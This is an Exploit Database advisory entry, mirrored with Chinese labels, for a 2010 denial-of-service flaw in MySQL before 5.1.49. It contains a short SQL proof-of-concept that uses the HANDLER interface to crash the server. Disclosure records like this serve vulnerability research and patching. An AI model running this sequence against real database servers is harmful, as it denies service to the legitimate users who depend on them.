Oracle MySQL 5.1.48 – ‘HANDLER’ Interface Denial of Service

• Exploit Database
• 15 阅读

• 作者： Matthias Leich
  日期： 2010-08-20
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/34520/

• source: https://www.securityfocus.com/bid/42633/info
  
  MySQL is prone to a denial-of-service vulnerability.
  
  An attacker can exploit this issue to crash the database, denying access to legitimate users.
  
  This issue affects versions prior to MySQL 5.1.49.
  
  NOTE: This issue was previously covered in BID 42586 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been assigned its own record to better document it.. 
  
  --disable_warnings
  DROP TABLE IF EXISTS t1;
  --enable_warnings
  CREATE TABLE t1( pk INT , PRIMARY KEY (pk));
  HANDLER t1 OPEN AS handler_a;
  HANDLER handler_a READ FIRST;
  HANDLER handler_a READ `PRIMARY` NEXT;
  
  DROP TABLE t1;